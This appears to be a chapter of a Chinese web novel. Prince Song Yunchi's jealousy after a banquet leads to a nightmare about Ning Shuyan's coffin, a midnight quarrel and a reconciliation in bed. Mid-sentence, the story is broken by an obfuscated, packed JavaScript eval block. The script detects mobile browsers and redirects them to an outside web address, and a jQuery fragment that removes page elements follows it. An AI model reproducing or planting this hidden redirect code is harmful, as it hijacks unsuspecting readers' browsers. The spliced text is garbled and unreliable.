宁书砚一直觉得,宋云迟生了一张臭脸。
那张脸看谁都像是在不爽似的。
尤其是他个子高,总是垂着眼眸看人,像是在睨着对方,眼神充满了不屑。
如果宋云迟的臭脸分等级。
那么可以分为平时臭脸、微烦臭脸、愤怒臭脸和此刻的没憋好屁臭脸。
宋云迟坐在马车里,沉着脸不说话。
可那模样,明显是在等宁书砚说话。
宁书砚也不想说话。
他不知道说什么。
他都不知道宋云迟在生什么气!
这人有病吧?
怎么这么爱生气?
于是一路安静,谁都没搭理谁,就此回了堇王府。
下了马车后,杨长史看着他们两个人分开一前一后地进入王府,猜测到应该是出了什么事儿。
可又不敢问,于是一直沉默地跟着他们。
宁书砚自己吃饱喝足了,带着宝平大摇大摆地回了客房。
宋云迟也朝自己的院子走,走到院落门口又停下来看向宁书砚离开的背影,一脸怨夫样。
最后愤愤地进入了自己的院子里。
这一夜。
宁书砚没来沐浴,毕竟客房有浴桶。
同样也没来闹着要走,似乎见到太子后,宁书砚整个人都变得无欲无求了。
条件允许的话,他都能在客房里敲会儿木鱼。
宋云迟却安分不下来,生气地沐浴,生气地看书,入睡后还做了一个混乱的梦。
在梦里,他又梦到了宁书砚的棺椁。
在那一瞬间,他的心脏骤停,仿佛失去宁书砚的痛再次席卷了他整个人。
那是一种血液近乎凝固,浑身每一处皮肤和肌肉都在疼痛,每个器官都在罢工叫嚣的窒息感。
他步伐踉跄地走向棺椁,却看到棺椁的盖子被里面的人双脚踢飞了出去。
……
……
他愣在了当场。
紧接着,宁书砚从棺椁里一个后空翻,自己翻了出来。
宁书砚闪亮登场后稳稳落地,单手撑地,姿势潇洒又俊逸。
像个大侠。
紧接着从棺椁后面跑出来十几个穿着胡服的女子,绕着棺椁开始跳舞。
宁书砚一瞬间快乐得不行,全程笑得像朵花似的,跟这些女子抛着红纱,一起跳着舞。
没一会儿,开始了“你来追我呀”“我马上就要追到你啦”的游戏。
宋云迟沉默地看着这群人绕着棺椁快乐地转圈,翩翩起舞,快乐嬉笑。
宋云迟:“……”
最终宋云迟忍无可忍。
他快步走过去,将所有的女子都赶走。
接着抓住宁书砚,硬将宁书砚按回了棺椁里。
他气得发疯,干脆怒吼:“你还是死了好,你死了就只属于我一个人了!”
可他说完就后悔了。
他果然在梦里也总做让自己后悔的事情。
他看到宁书砚躺回棺椁里后,竟然安静地睡着了,又变成了面无血色,形如枯槁般的模样。
宋云迟的呼吸一颤,他痛得连呼吸都需要小心翼翼。
他又跟着爬进了棺椁里,躺在了宁书砚的身边。
为什么要说那么过分的话?
明明宁书砚死了,他也活不下去了。
他小心翼翼地抱着宁书砚,陪着宁书砚入睡。
躺得久了,还要帮宁书砚翻一个身,帮他揉一揉后背,免得生出褥疮来。
宁书砚的皮肤那么娇贵,得呵护好了。
随后他将宁书砚抱进怀里,让宁书砚的后背贴着他的心口,用这种方式感受宁书砚的心跳。
可偏偏……宁书砚的心跳逐渐消失……
宋云迟在此刻醒了过来,猛地坐起身来。
一个荒唐的梦,也让他一头冷汗。
他看着安静的室内,终于回过神来。
他突然站起身来,穿上鞋子快步出了房间,想去客房寻找宁书砚,确定他是否还活着。
在耳房守夜的侍女看到宋云迟竟然出来了,赶紧拿起披风跟上:“王爷,您披一个披风!”
宋云迟却充耳不闻,只是快步到了客房,推门走了进去。
宝平在外间的罗汉床上休息,看到宋云迟土匪一般地进来,吓得跌下了床,连连磕头行礼:“堇王!”
这般大声,也是为了叫醒宁书砚。
不过宝平很快被跟着进来的小太监们一齐拖了出去,空出房间来给两个主子。
宁书砚昏昏沉沉地醒来,就看到宋云迟穿着一身白衣站在他的床边,阴沉的脸,像是白无常来索命了似的。
宁书砚被吓了一跳,倒吸了一口气后问:“堇王,您有事吗?”
宋云迟沉默了一会儿,才开口:“进里面睡。”
“哦……”宁书砚往里面挪了挪身体,宋云迟干脆地上了床,还自顾自地给自己盖上了被子。
应该是刚才没穿外衣,一股脑地跑过来,他后知后觉地感觉到冷了。
宋云迟躺了一会儿,才发觉不对劲。
回过身看过去,果然看到宁书砚还抱着膝盖,坐在床角没躺下。
于是他们保持这样的姿势又僵持了一会儿,宋云迟才问:“你不睡了?”
“我根本不知道您在气什么!”宁书砚也挺不高兴的,干脆说了出来。
宋云迟听出了宁书砚的语气不对,跟着坐起身来,伸手拽宁书砚的手臂,想看看宁书砚的表情。
结果他的手被宁书砚甩开了:“别碰我!”
宋云迟的手僵持在半空,竟然不知该不该再去碰宁书砚。
他还是第一次被人这般对待。
……
好奇妙。
宁书砚一股脑地将自己的委屈全说了:“是您说带我去参加宴会的,结果去了却摆一张臭脸!若是不愿意,不去就是了,为什么去都去了,还闹成这样?!”
宋云迟被宁书砚凶得一怔。
眼神都清澈了些许。
宁书砚继续说着:“我去了之后规规矩矩地给您安排,都尽可能做到让您满意了。
“我的确去见过太子,想必您也能猜到,我都是认真地按照我们约定的,逐步劝他放弃这个位置。
“太子还想送我回家,我也拒绝了,最后也回王府了,您却莫名其妙生了一路的气!现在大半夜了,还来我屋里扮鬼!”
宋云迟:“……”
他没想那么多。
他没想扫兴。
他就是醋劲儿大了点……
结果现在两个人都不高兴了。
在宋云迟不知道该怎么解释的时候,宁书砚突然动了,伸长了脖子凑过来:“您弄死我吧!来来来!弄死我,省着您一直这么折磨我!”
眼看着宁书砚的脑袋都要顶到他的面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353073|199642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门了,宋云迟才伸手将宁书砚的头推回去。
宋云迟突然问了一个其他的问题:“你喝了多少?”
宁书砚嗓门更大了:“喝多少都无所谓,我本来就这样!我也就是还有点怕您,不然我早就和您打起来了!”
“还挺坦诚。”宋云迟夸他。
本来也是。
宁书砚一个出身还不错的大少爷,从小跟太子关系极好,在崇文馆里都能横着走。
京城惹是生非最多的贵公子里,肯定有宁书砚一个。
后来入朝为官,在朝堂上挥舞着笏板打群架的,也是宁书砚带头。
数他打得最威武。
有时宋云迟看得直羡慕,他也很想身边跟着这么一名“文臣里的武将”。
可宁书砚偏偏是那个呆头鱼太子一派的人。
宁书砚来到堇王府,对宋云迟也算客气。
一方面是宁书砚做错事在先有些心虚,人在屋檐下,不得不低头。
一方面是宁书砚的确有点怕宋云迟。
也可以说太子那边的人,都怕宋云迟。
可真把宁书砚逼急了,他也是会咬人的。
宋云迟犯了难。
解释吧……
让宁书砚发现不对劲,他今天是不可能在这里睡了。
不解释吧,宁书砚也挺生气的。
宋云迟只能伸手揉了揉宁书砚的头:“你别气了,我也不气了。”
宁书砚抬手将宋云迟的手挥走:“您说生气就生气,您说不气了就不气了!什么都得听您的!是不是以后天气都得看您心情行事?!”
宋云迟再软了些态度:“我的库房里还有些物件,明天送给你。”
“谁缺您那么点小恩小惠的!”
“现在消气赏你五万两。”
“……”宁书砚张了张嘴,想说什么,却没说出来。
“黄金。”宋云迟补充。
宁书砚“邦”的一声躺下了,扯过了被子准备睡觉。
宋云迟垂眸看向他,问:“消气了?”
宁书砚的语气明显好了一些:“谁会跟财神爷生气?那样岂不是不识抬举了?”
宋云迟跟着躺在了宁书砚的身边。
两个人盖着同一张被子,倒也显得和谐。
宋云迟偷眼瞧了宁书砚一眼。
昏暗的房间里,只能模糊地看到宁书砚的轮廓。
他的五官立体,有着极为漂亮的头骨,鼻梁高挺,下巴微窄,侧脸自然漂亮。
在黑暗里,就算只看到轮廓,依旧足够让宋云迟再次心动。
这时宁书砚突然嘟囔出声:“睡在这里可以,不要帮我翻身,我自己会翻身。”
听到这句话,宋云迟有一瞬间的恍惚。
这仿佛是他上一世最为期待的事情。
他又很快回神,低声回应:“嗯。”
宁书砚没再说什么,脾气来得快,去得也快。
没心没肺的,睡眠极好,很快再次睡着。
宋云迟翻了一个身,在黑暗里盯着宁书砚的侧脸出神。
原来宁书砚发脾气的时候是这样的?
有什么说什么,直截了当地发泄出来,不会闷不吭声让人猜。
好厉害啊宁书砚。
不像他,什么都不肯说……
如果他什么事情都肯如实说,喜欢也肯表达出来,上一世他就不会害得宁书砚那般坎坷了吧?